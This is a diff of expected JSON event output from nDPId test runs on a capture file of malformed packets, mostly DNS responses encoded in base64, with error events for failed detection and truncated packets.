00454{"packet_event_id":1,"packet_event_name":"packet","packet_id":50,"source":"badpackets.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_caplen":131,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":0,"pkt_len":131,"pkt_l4_len":0,"thread_ts_usec":1495451029466717,"pkt":"xDRrta3IeLr5aHlnCABFAAXc\/D8gADMRuiiBBg0DzLpQ5QA1arUGKRUJU+aEEAABAAEAAgANAzEwMgE0AzE2MwMxMzIHSU4tQUREUgRBUlBBAAAMAAHADAAMAAEAAAcIAB0GdGltZS1iCHRpbWVmcmVxB2JsZHJkb2MDZ292AMASAAI="} -00209{"error_event_id":9,"error_event_name":"nDPI IPv4\/L4 payload detection failed","datalink":1,"packet_id":51,"source":"badpackets.pcap","alias":"nDPId-test","l4_data_len":280,"global_ts_usec":1495451611805112} +00309{"error_event_id":9,"error_event_name":"nDPI IPv4\/L4 payload detection failed","datalink":1,"threshold_n":2,"threshold_n_max":16,"threshold_time":10000000,"threshold_ts_usec":1495451611805112,"packet_id":51,"source":"badpackets.pcap","alias":"nDPId-test","l4_data_len":280,"global_ts_usec":1495451611805112} 00699{"packet_event_id":1,"packet_event_name":"packet","packet_id":51,"source":"badpackets.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_caplen":314,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":0,"pkt_len":314,"pkt_l4_len":0,"thread_ts_usec":1495451029466717,"pkt":"xDRrta3IeLr5aHlnCABFAAXcDxkgADkRXROili+vzLpQ5QA1TDYG4IL0xMOEAAABAAYABgABDmxpbmVhci10dmUtcGlsA3RvcAdjb21jYXN0A25ldAAAMAABwAwAMAABAAAAPACIAQADBQMBAAG7xRiYkSu1FrneRCH6ntrsauJWLw6fk1RtMzYYwMb16Knn1SeDLbMj6jRuPHc\/N9CDpNHKBwY7D8GGYJHtQOlY1BRgtvcl2XG\/z4KT5bOP8sBaXSr1Q60QyLTjEldwC8Hcrwfq0nlgSqdeedPWUZEiInPjf0m6Q0yG3lTY3p3jMcAMADAAAQAAADwBCAEBAwUDAQABl4a8UCzCZt5CAPJ1+RL9MCCZmtygIfM+1EkpxZWzKFW6hTlX1fvx29DxB35W993mMAjv0961og8="} -00209{"error_event_id":9,"error_event_name":"nDPI IPv4\/L4 payload detection failed","datalink":1,"packet_id":52,"source":"badpackets.pcap","alias":"nDPId-test","l4_data_len":728,"global_ts_usec":1495451613183104} +00309{"error_event_id":9,"error_event_name":"nDPI IPv4\/L4 payload detection failed","datalink":1,"threshold_n":3,"threshold_n_max":16,"threshold_time":10000000,"threshold_ts_usec":1495451613183104,"packet_id":52,"source":"badpackets.pcap","alias":"nDPId-test","l4_data_len":728,"global_ts_usec":1495451613183104} 01303{"packet_event_id":1,"packet_event_name":"packet","packet_id":52,"source":"badpackets.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_caplen":762,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":0,"pkt_len":762,"pkt_l4_len":0,"thread_ts_usec":1495451029466717,"pkt":"eLr5aHlnxDRrta3ICABFAAXccLkgAEAR7frMulDlQpiWJQA17AcIoOzEWyCBoAABAAMABAANBnRpbWUtYQRuaXN0A2dvdgAAAQABwAwAAQABAAALHAAEgQYPHMAMAC4AAQAACxwAnAABBwMAAAcIWSp7HVkhN25NKgRuaXN0A2dvdgCGDxP8mtTYURB\/z7B7zxG9M2cDPFjwCkCpyC8hiadTCV1wXBnQsMkH14gORQid9hZZkwqvAJKxlHHGFpFXs3GK70k31UcnglQglR+Jb8PvkvYMpqGZLiMdOZ+8aMQzLgN424FbMJ7np\/GSsY0NKbDsZWUKs5FEyvfl5LyBAXKP1cAMAC4AAQAACxwAnAABBwMAAAcIWSp7HVkhN25p9QRuaXN0A2dvdgCYOPJp1LyXHjTZERVC1mhE\/fFAgBPnHg5CzHCfHFW\/kHrSlPUKJrKTtWO2J6nhnsslWGL7StwY\/Ds0w3d1K1BK2EXHmf7JoxCpUcbjrJzE2AWNOuFyYMsitmrbg7hKpTz5YORW9N+9SgnPiRBdVePJPZ0ZX+5rKPwGXiVkzOvJt8ATAAIAAQAAAIYABgNnZWHAE8ATAAIAAQAAAIYABgNiZWHAE8ATAC4AAQAAAIYAnAACBwIAAAcIWSpvIFkhMlpNKgRuaXN0A2dvdgB\/AugCl6Rz+sTdMBLd\/b9WzbTmwtSJRElGSiFaNkIXGL85DwZ8CN5XIraessCeREIcUwZxVSCZqTN+jQfSqvs0RCCsELGmZy1\/6te8q\/BHGZ6r5Yfp\/FixyK0YEzCx9kE6yxKwCHgAiZ9RYjXpdk7jwKD9iHCh9psgrmi4EqWisMATAC4AAQAAAIYAnAACBwIAAAcIWSpvIFkhMlpp9QRuaXN0A2dvdgClTY7jIx2EAO1rRXMS+rZG5e8+PelDpKXOMRzGWIjrQbBJVXqIaZDLeBgBTWgx3tBkiLlUy1bOdR3MF5sPTTggHRJuEc8rRcMhHY6s0g2zr9CNylE8o5Mcs+HT"} -00209{"error_event_id":9,"error_event_name":"nDPI IPv4\/L4 payload detection failed","datalink":1,"packet_id":53,"source":"badpackets.pcap","alias":"nDPId-test","l4_data_len":474,"global_ts_usec":1495451617290525} +00309{"error_event_id":9,"error_event_name":"nDPI IPv4\/L4 payload detection failed","datalink":1,"threshold_n":4,"threshold_n_max":16,"threshold_time":10000000,"threshold_ts_usec":1495451617290525,"packet_id":53,"source":"badpackets.pcap","alias":"nDPId-test","l4_data_len":474,"global_ts_usec":1495451617290525} 00960{"packet_event_id":1,"packet_event_name":"packet","packet_id":53,"source":"badpackets.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_caplen":508,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":0,"pkt_len":508,"pkt_l4_len":0,"thread_ts_usec":1495451029466717,"pkt":"xDRrta3IeLr5aHlnCABFAAXcdRkgAPQRTW+A50ABzLpQ5QA17tYHop3j4riEEAABAAIABQANBnN0YXRpYwZwdWJtZWQDZ292AAABAAHADAAFAAEAAVGAAB0JcHVibWVkZ292A3dpcARuY2JpA25sbQNuaWjAGsAMAC4AAQABUYABHgAFBwMAAVGAWr+PY1jk82PoEAZwdWJtZWQDZ292AJu6kQSEhR8egq7iff9kNvnUi3EB8Cqxahn7\/xnKCblnIeeP205Pcfvq58wdpFd4t2tLrbNoUdrfjjrIvtJTNm8AczdH8VxTTwKlZ544pPbKqSowUHJH8kt1BYbS08C6W\/koWBsjtLuk2wwJn3Xv1EHHGFTmeMXVa9Ykgp+szm4UYdPEnokSrW0ySALEqeqR1T8NYKCXtsBVthVcDs6IE2iJWsUHfJN\/ND5yD6NryHs5EYO0a5uiDSFdbl2a1e3U2IiqRcHf12Yi7nNig+en76ODdO7CGdj4XsXz8AYWndn30mHl316TfYk9Tr8TfkagYqHqYLV3kzp8Pim2wy5nSI7AOQACAAEAABwgAAkGZ3NsYjAxwELAOQACAAEAABwgAAkGZ3NsYjAywELAOQACAAEAABwgAAkGZ3NsYjAzwELAOQArAAEAAVGAABiP2QcBjJqKhZbbxHR4uEOouQ=="} -00209{"error_event_id":9,"error_event_name":"nDPI IPv4\/L4 payload detection failed","datalink":1,"packet_id":54,"source":"badpackets.pcap","alias":"nDPId-test","l4_data_len":704,"global_ts_usec":1495451617292283} +00309{"error_event_id":9,"error_event_name":"nDPI IPv4\/L4 payload detection failed","datalink":1,"threshold_n":5,"threshold_n_max":16,"threshold_time":10000000,"threshold_ts_usec":1495451617292283,"packet_id":54,"source":"badpackets.pcap","alias":"nDPId-test","l4_data_len":704,"global_ts_usec":1495451617292283} 01277{"packet_event_id":1,"packet_event_name":"packet","packet_id":54,"source":"badpackets.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_caplen":738,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":0,"pkt_len":738,"pkt_l4_len":0,"thread_ts_usec":1495451029466717,"pkt":"xDRrta3IeLr5aHlnCABFAAXccB0gAPMREnGA54D7zLpQ5QA1qyQOUPvPZ1uEEAABAAIABgATCWRuczEtbmNiaQRuY2JpA25sbQNuaWgDZ292AAABAAHADAABAAEAAVGAAASCDh0fwAwALgABAAFRgAEkAAEHBQABUYBaAL7qWRNw6s2+BG5jYmkDbmxtA25paANnb3YAqynlZlaIB4Smw1gmrgrhShXsg+fKpc9IVq+H0d8Wqe8ehWyuxMN5VtfcEaLC+EeL8bzU4KuotzpGoDCkxCZdXFHPVKuaX1nzyQKnX1ljBf8NzdObkudu7m5LKsZKBwHSNYuTy0jN791rNwOkeHjeiejuoDZvEfDwRbyO1nFBJ6h8isnkI\/0kQNd0201HZH6RGOQ2KqsqoOWUQCZawvaoql571eZD0z3ieQ\/7FwpiQ9vz\/VUXzC+SYsOOT1yPoZ8c6dYCXQY8gwTNOCDqJaGJMkzo17QL1DHP4vbFEiU+nL7o8yPZTSu\/e0+\/Z3T7PU000lQYL9r0d4LlePbetu84y8BaAAIAAQAADhAAAsAMwFoAAgABAAAOEAAGA25zM8BjwFoAAgABAAAOEAAGA25zMsBjwFoAAgABAAAOEAAFAm5zwGPAWgACAAEAAA4QAAwJZG5zMi1uY2JpwFrAWgAuAAEAAA4QASQAAgcEAAAOEFoAvupZE3Dqzb4EbmNiaQNubG0DbmloA2dvdgA+EebMkCne2CNH9\/msBB1ttxS45FhdXCD5iR18dVqPuT200zDdV4BFS01NU4MYeoc3XDyOxIWfU7WKy5Zs94YsWp3mz1cDLKuZG3MK\/hBxOol\/fcuIoTQU9\/sEzYKep6XHZu6d5e\/CGkcUh2Vks9\/pyJ\/t2s2KBguZm2e\/qZ1Ezxt4cEtu9kc0sswh6yWPsWme\/zxCgcrwhF4ZRmacvc+rMVf\/a\/AghKUmUTfCHDsCeW2IcVFuIY0PYQvO0ixv6F67"} -00209{"error_event_id":9,"error_event_name":"nDPI IPv4\/L4 payload detection failed","datalink":1,"packet_id":55,"source":"badpackets.pcap","alias":"nDPId-test","l4_data_len":319,"global_ts_usec":1495451618089828} +00309{"error_event_id":9,"error_event_name":"nDPI IPv4\/L4 payload detection failed","datalink":1,"threshold_n":6,"threshold_n_max":16,"threshold_time":10000000,"threshold_ts_usec":1495451618089828,"packet_id":55,"source":"badpackets.pcap","alias":"nDPId-test","l4_data_len":319,"global_ts_usec":1495451618089828} 00753{"packet_event_id":1,"packet_event_name":"packet","packet_id":55,"source":"badpackets.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_caplen":353,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":0,"pkt_len":353,"pkt_l4_len":0,"thread_ts_usec":1495451029466717,"pkt":"xDRrta3IeLr5aHlnCABFAAXcvUsgADcR9T6JyAQfzLpQ5QA1fIMHB7MjfFCEEAABAAIABQAPBGRuczEDc3NhA2dvdgAAAQABwAwAAQABAAAAPAAEicgrCMAMAC4AAQAAADwAmwABBwMAAAA8WUE2n1kZn1cHPQNzc2EDZ292AC5156k1jArAQVGBahVpB6i1h\/fLJ3i\/HJY8GxrDrwsXIly+1WH6d7kRKc6lk\/uZf0+AmaTOUahspZVRqb7TH6GrbnsyXZmTfc3Kzu2iCB1GZM+ThGuuBfTJP\/RUgJK9tEeQ4pfMuSB5LQOaizURDpM8RAEaHBNs8UiaB2wYxjm8wEwAAgABAACMoAAHBGRuczbATMBMAAIAAQAAjKAAAsAMwEwAAgABAACMoAAHBGRuczLATMBMAAIAAQAAjKAABwRkbnM1wEzATAAuAAEAAIygAJsAAgcCAACMoFlBLTxZGZ8="} -00209{"error_event_id":9,"error_event_name":"nDPI IPv4\/L4 payload detection failed","datalink":1,"packet_id":56,"source":"badpackets.pcap","alias":"nDPId-test","l4_data_len":327,"global_ts_usec":1495451619519744} +00309{"error_event_id":9,"error_event_name":"nDPI IPv4\/L4 payload detection failed","datalink":1,"threshold_n":7,"threshold_n_max":16,"threshold_time":10000000,"threshold_ts_usec":1495451619519744,"packet_id":56,"source":"badpackets.pcap","alias":"nDPId-test","l4_data_len":327,"global_ts_usec":1495451619519744} 00765{"packet_event_id":1,"packet_event_name":"packet","packet_id":56,"source":"badpackets.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_caplen":361,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":0,"pkt_len":361,"pkt_l4_len":0,"thread_ts_usec":1495451029466717,"pkt":"xDRrta3IeLr5aHlnCABFAAXcsBcgADIR1CChNyACzLpQ5QA1FUYM12ePIm2EEAABAAYABAANA21hZwRuY2VwBG5vYWEDZ292AAABAAHADAAFAAEAAAEsAAsDbWFnBGNwcmvAEMAMAC4AAQAAASwBIQAFBQQAAAEsWSuLaVkiUOlQZARuY2VwBG5vYWEDZ292ADcGQyBFP4D+oljdb2+uDa9\/19GSwvR6WriPq+5z0bu\/0ZaU\/D8IQsmXY34oOVHWkzG6MucH8ZmcfTOJDErUlSNSiRzFT51PBmw6nGKnxTSwXkETkX04Oo9QP2yzVDt5BovyB6C9tXHehSkdYBFKv3dkwzGxANJxhe+yFBxgwF9UCs8+cZEJOlz8tn056cIu0n8cLm0Luw3FG\/hQGfvItzUlOxBl1A60sdiGmy6QUdNCXAcNU0yZ9pOPKxcCxUBH4IhMSpEnUlvPR6QJH5nmfUQe2XEJKZYxCw=="} -00209{"error_event_id":9,"error_event_name":"nDPI IPv4\/L4 payload detection failed","datalink":1,"packet_id":57,"source":"badpackets.pcap","alias":"nDPId-test","l4_data_len":467,"global_ts_usec":1495451619545973} +00309{"error_event_id":9,"error_event_name":"nDPI IPv4\/L4 payload detection failed","datalink":1,"threshold_n":8,"threshold_n_max":16,"threshold_time":10000000,"threshold_ts_usec":1495451619545973,"packet_id":57,"source":"badpackets.pcap","alias":"nDPId-test","l4_data_len":467,"global_ts_usec":1495451619545973} 00953{"packet_event_id":1,"packet_event_name":"packet","packet_id":57,"source":"badpackets.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_caplen":501,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":0,"pkt_len":501,"pkt_l4_len":0,"thread_ts_usec":1495451029466717,"pkt":"xDRrta3IeLr5aHlnCABFAAXcs+sgADgR3T6MWiHtzLpQ5QA1+sANYy2s8YiEEAABAA8ABAANA3d3dwNuaGMEbm9hYQNnb3YAAAEAAcAMAAUAAQAAASwADwhlZGdlLW53cwN3b2PAFMAMAC4AAQAAASwBIAAFBQQAAAEsWSuLeVkiUPkyEANuaGMEbm9hYQNnb3YAmdicnE8euFUxTHUXfeUJmy6UvdRd01G3Waurvp4SxZ2PJZgNPzjjITBMLV6ecU4\/JueThrSlKZCbDqf7PO1nwK30oVaMXimjEp\/WM+cq2lYinJ+rRAUpOFrU1\/PMoKmi\/NA9YhzR1i84ntUn6pU7gPRsC1l0stlJvmpn5vPK2SEpb2eW0Gowmg8iUnJq32XYuUvIED4TSMnVkgyeOVQyRuntLmYEqOLIN1Y4bfKDTdnt4ooZOC4nZltsnzRyIjkMnu6GUtEuSBRaXw7\/LMILqzp94rUYZ+A0FpoK\/AokSahDQC+1b+t0iMHL6XYsjM4sNHxXO6pg\/DJfgn7ZWUE0hMAuAAUAAQAAASwADAdlZGdlLXAxAWzAX8AuAC4AAQAAASwBIAAFBQQAAAEsWSuLyFkiUUi\/jgN3b2MEbm9hYQNnb3YAkE66gKhT1JcM2kgWKvIXOPPjjmHF901em1sV2mJv"} -00235{"error_event_id":15,"error_event_name":"Captured packet size is smaller than expected packet size","datalink":1,"packet_id":58,"source":"badpackets.pcap","alias":"nDPId-test","size":44,"expected":60,"global_ts_usec":1495451620149557} +00335{"error_event_id":15,"error_event_name":"Captured packet size is smaller than expected packet size","datalink":1,"threshold_n":9,"threshold_n_max":16,"threshold_time":10000000,"threshold_ts_usec":1495451620149557,"packet_id":58,"source":"badpackets.pcap","alias":"nDPId-test","size":44,"expected":60,"global_ts_usec":1495451620149557} 00335{"packet_event_id":1,"packet_event_name":"packet","packet_id":58,"source":"badpackets.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_caplen":44,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":0,"pkt_len":44,"pkt_l4_len":0,"thread_ts_usec":1495451029466717,"pkt":"xDRrta3IeLr5aHlnCABFAAXcs+4gADgR3TuMWiHtzLpQ5QA16sALmpGgy8o="} -00208{"error_event_id":9,"error_event_name":"nDPI IPv4\/L4 payload detection failed","datalink":1,"packet_id":58,"source":"badpackets.pcap","alias":"nDPId-test","l4_data_len":10,"global_ts_usec":1495451620149557} +00309{"error_event_id":9,"error_event_name":"nDPI IPv4\/L4 payload detection failed","datalink":1,"threshold_n":10,"threshold_n_max":16,"threshold_time":10000000,"threshold_ts_usec":1495451620149557,"packet_id":58,"source":"badpackets.pcap","alias":"nDPId-test","l4_data_len":10,"global_ts_usec":1495451620149557} 00335{"packet_event_id":1,"packet_event_name":"packet","packet_id":58,"source":"badpackets.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_caplen":44,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":0,"pkt_len":44,"pkt_l4_len":0,"thread_ts_usec":1495451029466717,"pkt":"xDRrta3IeLr5aHlnCABFAAXcs+4gADgR3TuMWiHtzLpQ5QA16sALmpGgy8o="} -00235{"error_event_id":15,"error_event_name":"Captured packet size is smaller than expected packet size","datalink":1,"packet_id":59,"source":"badpackets.pcap","alias":"nDPId-test","size":43,"expected":60,"global_ts_usec":1495451620868987} +00336{"error_event_id":15,"error_event_name":"Captured packet size is smaller than expected packet size","datalink":1,"threshold_n":11,"threshold_n_max":16,"threshold_time":10000000,"threshold_ts_usec":1495451620868987,"packet_id":59,"source":"badpackets.pcap","alias":"nDPId-test","size":43,"expected":60,"global_ts_usec":1495451620868987} 00336{"packet_event_id":1,"packet_event_name":"packet","packet_id":59,"source":"badpackets.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_caplen":43,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":0,"pkt_len":43,"pkt_l4_len":0,"thread_ts_usec":1495451029466717,"pkt":"xDRrta3IeLr5aHlnCABFAAXcs\/AgADgR3TmMWiHtzLpQ5QA1Jh0F0T0AFA=="} -00207{"error_event_id":9,"error_event_name":"nDPI IPv4\/L4 payload detection failed","datalink":1,"packet_id":59,"source":"badpackets.pcap","alias":"nDPId-test","l4_data_len":9,"global_ts_usec":1495451620868987} +00308{"error_event_id":9,"error_event_name":"nDPI IPv4\/L4 payload detection failed","datalink":1,"threshold_n":12,"threshold_n_max":16,"threshold_time":10000000,"threshold_ts_usec":1495451620868987,"packet_id":59,"source":"badpackets.pcap","alias":"nDPId-test","l4_data_len":9,"global_ts_usec":1495451620868987} 00336{"packet_event_id":1,"packet_event_name":"packet","packet_id":59,"source":"badpackets.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_caplen":43,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":0,"pkt_len":43,"pkt_l4_len":0,"thread_ts_usec":1495451029466717,"pkt":"xDRrta3IeLr5aHlnCABFAAXcs\/AgADgR3TmMWiHtzLpQ5QA1Jh0F0T0AFA=="} -00557{"daemon_event_id":4,"daemon_event_name":"status","thread_id":0,"packet_id":60,"source":"badpackets.pcap","alias":"nDPId-test","packets-captured":60,"packets-processed":0,"total-skipped-flows":0,"total-l4-payload-len":0,"total-not-detected-flows":0,"total-guessed-flows":0,"total-detected-flows":0,"total-detection-updates":0,"total-updates":0,"current-active-flows":0,"total-active-flows":0,"total-idle-flows":0,"total-compressions":0,"total-compression-diff":0,"current-compression-diff":0,"total-events-serialized":135,"global_ts_usec":1495451632004127} -00209{"error_event_id":9,"error_event_name":"nDPI IPv4\/L4 payload detection failed","datalink":1,"packet_id":60,"source":"badpackets.pcap","alias":"nDPId-test","l4_data_len":602,"global_ts_usec":1495451632004127} +00557{"daemon_event_id":4,"daemon_event_name":"status","thread_id":0,"packet_id":60,"source":"badpackets.pcap","alias":"nDPId-test","packets-captured":60,"packets-processed":0,"total-skipped-flows":0,"total-l4-payload-len":0,"total-not-detected-flows":0,"total-guessed-flows":0,"total-detected-flows":0,"total-detection-updates":0,"total-updates":0,"current-active-flows":0,"total-active-flows":0,"total-idle-flows":0,"total-compressions":0,"total-compression-diff":0,"current-compression-diff":0,"total-events-serialized":125,"global_ts_usec":1495451632004127} +00309{"error_event_id":9,"error_event_name":"nDPI IPv4\/L4 payload detection failed","datalink":1,"threshold_n":1,"threshold_n_max":16,"threshold_time":10000000,"threshold_ts_usec":1495451632004127,"packet_id":60,"source":"badpackets.pcap","alias":"nDPId-test","l4_data_len":602,"global_ts_usec":1495451632004127} 01134{"packet_event_id":1,"packet_event_name":"packet","packet_id":60,"source":"badpackets.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_caplen":636,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":0,"pkt_len":636,"pkt_l4_len":0,"thread_ts_usec":1495451029466717,"pkt":"xDRrta3IeLr5aHlnCABFAAXcsh4gADYR8CWCDh0fzLpQ5QA1H4MIImMAvk+EEAABAAIABgAJBG5jYmkDbmxtA25paANnb3YAAAEAAcAMAAEAAQABUYAABIIOHW7ADAAuAAEAAVGAASQAAQcEAAFRgFoAvupZE3Dqzb4EbmNiaQNubG0DbmloA2dvdgAkf1HSoxN8AcwUdKY7WYciGx3geHak0EvSutU7odDo4dq+NlD8O\/xERFOOtnm1OnbmotJrAyzkKRKq2LhHEAKnpnQ\/7o4BV5VPHkuyi+TApDKVmXneUpTyPtHjKhT2CXt\/fyExp+B7ruJjC+Pcr5ZslqwQv1r1rPCkU5Mhz4yMR3BggA0Hh5V6YsPB3ZKTiKS\/eiA5iAmjeNxUPq28qT0hVjLTG5jO15eNmG2vPLSE3IUKr1s52HiMixNOjA9zTiA\/KJ+hR8CkVUQekEXmvwf9VBsUpBGDeS2mGNHxD+rzAlEWmLXNCGAh5Oui3uYYiuNNDR79YStEu6BCY8ZmkvsqwFAAAgABAAAOEAAMCWRuczEtbmNiacBQwFAAAgABAAAOEAAGA25zM8BZwFAAAgABAAAOEAAMCWRuczItbmNiacBQwFAAAgABAAAOEAAFAm5zwFnAUAACAAEAAA4QAAYDbnMywFnAUAAuAAEAAA4QASQAAgcEAAAOEFoAvupZE3Dqzb4EbmNiaQNubG0DbmloA2dvdgA+EebMkCne2CNH9\/msBB1ttxS45FhdXCD5iR18dVqPuT200zDdV4BFS01NU4MYeoc3XDyOxIWfU7WKy5Zs94YsWp3mz1cDLKuZG3MK\/hBxOol\/fcuIoTQU9\/sE"} -00209{"error_event_id":9,"error_event_name":"nDPI IPv4\/L4 payload detection failed","datalink":1,"packet_id":61,"source":"badpackets.pcap","alias":"nDPId-test","l4_data_len":231,"global_ts_usec":1495451636457182} +00309{"error_event_id":9,"error_event_name":"nDPI IPv4\/L4 payload detection failed","datalink":1,"threshold_n":2,"threshold_n_max":16,"threshold_time":10000000,"threshold_ts_usec":1495451636457182,"packet_id":61,"source":"badpackets.pcap","alias":"nDPId-test","l4_data_len":231,"global_ts_usec":1495451636457182} 00636{"packet_event_id":1,"packet_event_name":"packet","packet_id":61,"source":"badpackets.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_caplen":265,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":0,"pkt_len":265,"pkt_l4_len":0,"thread_ts_usec":1495451029466717,"pkt":"xDRrta3IeLr5aHlnCABFAAXcg4sgAOcRN5mDTlH+zLpQ5QA179EGr6+UudOFkwABAAAADAABCk5PU1MyUFJPNTICYWQDZGxhA21pbAAAAQABwBoABgABAAACJAAtCGVhZ2xlaWIxwBcLcmFuZHkuc21pdGjAGneyKSsAACowAAAEOAAJOoAAAAOEwBoALgABAAACJACbAAYIAgAAA4RZL+jmWSKr1jYkA2RsYQNtaWwAQ+NjrNptV+b2\/CTqZKH2biSP27tkOWTGq2KCUhlOH9E41MLSOk2lCYL6smDX5fmm1zJuobp2dyrUo+9Imrd8bXDxUMgbvMl\/t\/ob2CKRj1UwIaYHEuWwqw=="} -00209{"error_event_id":9,"error_event_name":"nDPI IPv4\/L4 payload detection failed","datalink":1,"packet_id":62,"source":"badpackets.pcap","alias":"nDPId-test","l4_data_len":241,"global_ts_usec":1495451636679021} +00309{"error_event_id":9,"error_event_name":"nDPI IPv4\/L4 payload detection failed","datalink":1,"threshold_n":3,"threshold_n_max":16,"threshold_time":10000000,"threshold_ts_usec":1495451636679021,"packet_id":62,"source":"badpackets.pcap","alias":"nDPId-test","l4_data_len":241,"global_ts_usec":1495451636679021} 00647{"packet_event_id":1,"packet_event_name":"packet","packet_id":62,"source":"badpackets.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_caplen":275,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":0,"pkt_len":275,"pkt_l4_len":0,"thread_ts_usec":1495451029466717,"pkt":"xDRrta3IeLr5aHlnCABFAAXcRyUgAOcRc\/+DTlH+zLpQ5QA1lCQGuTGo9n2FkwABAAAADAABCk5PU1MyUFJPNTIEdXNlNgJhZANkbGEDbWlsAAABAAHAHwAGAAEAAAGdAC0IZWFnbGVpYjHAHAtyYW5keS5zbWl0aMAfd7IpKwAAKjAAAAQ4AAk6gAAAA4TAHwAuAAEAAAGdAJsABggCAAADhFkv6OZZIqvWNiQDZGxhA21pbABD42Os2m1X5vb8JOpkofZuJI\/bu2Q5ZMarYoJSGU4f0TjUwtI6TaUJgvqyYNfl+abXMm6hunZ3KtSj70iat3xtcPFQyBu8yX+3+hvYIpGPVTAhpgcS5bCrcsRzkWs="} -00209{"error_event_id":9,"error_event_name":"nDPI IPv4\/L4 payload detection failed","datalink":1,"packet_id":63,"source":"badpackets.pcap","alias":"nDPId-test","l4_data_len":240,"global_ts_usec":1495451636862163} +00309{"error_event_id":9,"error_event_name":"nDPI IPv4\/L4 payload detection failed","datalink":1,"threshold_n":4,"threshold_n_max":16,"threshold_time":10000000,"threshold_ts_usec":1495451636862163,"packet_id":63,"source":"badpackets.pcap","alias":"nDPId-test","l4_data_len":240,"global_ts_usec":1495451636862163} 00647{"packet_event_id":1,"packet_event_name":"packet","packet_id":63,"source":"badpackets.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_caplen":274,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":0,"pkt_len":274,"pkt_l4_len":0,"thread_ts_usec":1495451029466717,"pkt":"xDRrta3IeLr5aHlnCABFAAXc1mwgAOcR5LeDTlH+zLpQ5QA1mK0GuOHsaJmFkwABAAAADAABCk5PU1MyUFJPNTIDZXRuA2RsYQNtaWwAAAEAAcAbAAYAAQAAAo4AMAhlYWdsZWliMQJhZMAbC3JhbmR5LnNtaXRowBt3sikrAAAqMAAABDgACTqAAAADhMAbAC4AAQAAAo4AmwAGCAIAAAOEWS\/o5lkiq9Y2JANkbGEDbWlsAEPjY6zabVfm9vwk6mSh9m4kj9u7ZDlkxqtiglIZTh\/RONTC0jpNpQmC+rJg1+X5ptcybqG6dncq1KPvSJq3fG1w8VDIG7zJf7f6G9gikY9VMCGmBxLlsKtyxHORaw=="} -00209{"error_event_id":9,"error_event_name":"nDPI IPv4\/L4 payload detection failed","datalink":1,"packet_id":64,"source":"badpackets.pcap","alias":"nDPId-test","l4_data_len":486,"global_ts_usec":1495451661043614} +00309{"error_event_id":9,"error_event_name":"nDPI IPv4\/L4 payload detection failed","datalink":1,"threshold_n":1,"threshold_n_max":16,"threshold_time":10000000,"threshold_ts_usec":1495451661043614,"packet_id":64,"source":"badpackets.pcap","alias":"nDPId-test","l4_data_len":486,"global_ts_usec":1495451661043614} 00976{"packet_event_id":1,"packet_event_name":"packet","packet_id":64,"source":"badpackets.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_caplen":520,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":0,"pkt_len":520,"pkt_l4_len":0,"thread_ts_usec":1495451029466717,"pkt":"xDRrta3IeLr5aHlnCABFAAV8MiEgADMR67bAa2aOzLpQ5QA1kJIHTuawQK+EEAABAAIABQAPBXByZXNzBmJhbXBmYQhiZXJrZWxleQNlZHUAAAEAAcAMAAEAAQAAKjAABEWjkf3ADAAuAAEAACowAKcAAQoEAAAqMFkmu3pZIXKW\/GIGYmFtcGZhCGJlcmtlbGV5A2VkdQDYr4iiKwGHUj8t5HsllLRdCw51+RuHgmXTVi3BKZp2SlHKwPPE5NDgykdlf2nh09MKoRsS4ZQ6K+HtO0Fgl3XDsVj0e38hlFZSyxT3UsVtxM+no9NBzelbSMqdsdKPMBXZBU6WN68SPUB0Mpo5EB0ERXosqZrbp40B7OEuBwhJTsBZAAIAAQAAKjAACQZhb2RuczLAYMBZAAIAAQAAKjAACAVhZG5zMsBgwFkAAgABAAAqMAAJBmFvZG5zMcBgwFkAAgABAAAqMAAIBWFkbnMxwGDAWQAuAAEAACowAKcAAgoDAAAqMFkn98ZZIq5X\/GIGYmFtcGZhCGJlcmtlbGV5A2VkdQAn0OdhYPVBP+po1b2zTtthnlvR+AwkjgERoFRV1d81BBycm1q7rnJTejDubWCC+fexo8tBaiAWuF7QlClYFOJSAmzwtfgGPOICDtid\/wne+kDmwXvgLbwXYX5lBPAt0LIXRb3dGGBe+RGHeQ=="} -00209{"error_event_id":9,"error_event_name":"nDPI IPv4\/L4 payload detection failed","datalink":1,"packet_id":65,"source":"badpackets.pcap","alias":"nDPId-test","l4_data_len":238,"global_ts_usec":1495451685924265} +00309{"error_event_id":9,"error_event_name":"nDPI IPv4\/L4 payload detection failed","datalink":1,"threshold_n":1,"threshold_n_max":16,"threshold_time":10000000,"threshold_ts_usec":1495451685924265,"packet_id":65,"source":"badpackets.pcap","alias":"nDPId-test","l4_data_len":238,"global_ts_usec":1495451685924265} 